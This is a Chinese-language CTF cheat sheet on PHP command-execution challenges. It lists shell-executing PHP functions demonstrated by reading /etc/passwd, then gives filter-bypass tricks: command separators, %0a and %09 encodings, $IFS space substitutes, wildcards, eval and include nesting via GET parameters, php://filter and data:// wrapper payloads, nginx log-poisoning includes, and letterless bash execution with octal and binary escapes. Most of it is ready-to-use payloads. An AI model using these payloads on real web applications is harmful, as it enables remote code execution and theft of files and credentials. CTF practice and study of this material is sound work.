命令执行

命令执行

PHP命令执行函数

函数作用eg
system()用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。system('cat /etc/passwd');
exec()可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。exec('cat /etc/passwd', $result); print_r($result);
shell_exec()执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。echo shell_exec('cat /etc/passwd');
passthru()执行系统命令并将执行结果输出到页面中,支持二进制数据。passthru('cat /etc/passwd');
popen()执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。$result = popen('cat /etc/passwd', 'r'); echo fread($result, 100);
反引号用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。echo \cat /etc/passwd;

  ‍

使用分隔进行双写绕过:

  ; 分号

  | 只执行后面那条命令

  || 只执行前面那条命令

  & 两条命令都会执行

  && 两条命令都会执行

  ==%26a &的url编码==

  ==%0a 换行符的url 编码==

   注意:#​在URL中是特殊字符,要把 # 通过 GET 请求传输, 需要进行URL编码:#​ -> %23

1
?c=tac flag.php;ls

  ‍

  ​system()

  ​passthru()

  ​`` ​也可以视为命令执行

  cat,sort可以用tail​,tac​,nl​等代替

  空格,可以使用%09​、$IFS$9​、${IFS}​代替

  过滤的flag,php,点,可以用通配符*或?代替.

嵌套函数(使用跳板)(逃逸)

1
c=eval($_GET[a]);&a=system('cat flag.php');

文件包含

1
c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

  其中%0a​为换行符,而?>​替代了;

1
c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

伪协议

1
?c=data://text/plain,<?php system("tac fla*");?>

短标签

1
/?c=data://text/plain,<?= system("tac fla*");?>

php中不需要括号的函数

1
2
3
4
5
6
7
echo 123;
print 123;
die;
include "/etc/passwd";
require "/etc/passwd";
include_once "/etc/passwd";
require_once "etc/passwd";

日志注入

1
?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log

Bash特性

基于Bash的无字母命令执行

  原理:bash能解析八进制状态的字母

  成熟脚本:https://probiusofficial.github.io/bashFuck/


  使用 echo $0​ 的方式获取当前运行的脚本名称即可查看自己的终端类型:

1
2
root@Hello-CTF:echo $0
bash # bash / dash

  如果直接与容器交互大概率能得到一个bash的结果,但是当我们使用system函数时,这其实会由sh去执行,所以如果我们使用system去执行上述命令,大概率会得到:

1
2
# echo $0
sh

  但其实 sh 也是外包,通常它只是一个软连接,并不是真的有一个shell叫sh,要查看它最终的定向,我们可以使用 ls -l /bin/sh​ 使用 -l 参数列出:

1
2
root@Hello-CTF:ls -l /bin/sh
lrwxrwxrwx 1 root root 12 Mar 16 2022 /bin/sh -> /bin/busybox

  如ls 可以通过$‘\154\163’ 的方式进行执行。

1
2
root@Hello-CTF:/home# $'\154\163'
Challenge Hello-CTF_labs PHPSerialize-labs PHPinclude-labs RCE-labs

  但去dash中执行,会发现dash是无法解析他们的:

1
2
# $'\154\163'
dash: 1: $\154\163: not found

  若 sh 的软连接指向 dash,那么用system函数也类似:

1
2
# $'\154\163'
sh: 1: $\154\163: not found

  但是这种方法的缺陷就是无法一连串的指向带参命令,只能拆分开来:

1
2
3
4
5
bash-5.1# $'\143\141\164\40\57\146\154\141\147'
bash: cat /flag: No such file or directory

bash-5.1# $'\143\141\164' $'\57\146\154\141\147'
flag{TEST_Dynamic_FLAG}

在bash中,支持二进制的表示整数的形式:$((2#binary))。

  通过这一特性,我们可以使用二进制来构造八进制的整数形式 —— 注意这里并不是讲八进制转换为二进制,这里其实是用二进制来替换八进制中的每一位数字

  • 比如

1
$((2#10011010)) -> 154																								
  • 拆分开来分析一下

    • • 首先是 $((...))

      • • 在 bash​ 中 $((...))​ 是 算术扩展(Arithmetic Expansion) 的语法

      • • 比如

        1
        2
        3
        4
        5
        6
        echo $((3 + 5))   # 输出 8
        echo $((10 / 2)) # 输出 5

        a=10
        b=5
        echo $((a + b)) # 输出 15
    • • 而 2#binary​ 是 进制表示法(Base Notation) , 表示把后面的二进制串, 转化为十进制

      • • 同理 #​ 前面的 2​ 也可以是 8​, 16​, 36​, 如下
      1
      2
      3
      echo $((8#72))  # 输出 58
      echo $((16#1A)) # 输出 26
      echo $((36#Z)) # 输出 35

  ‍

长度限制

  ‍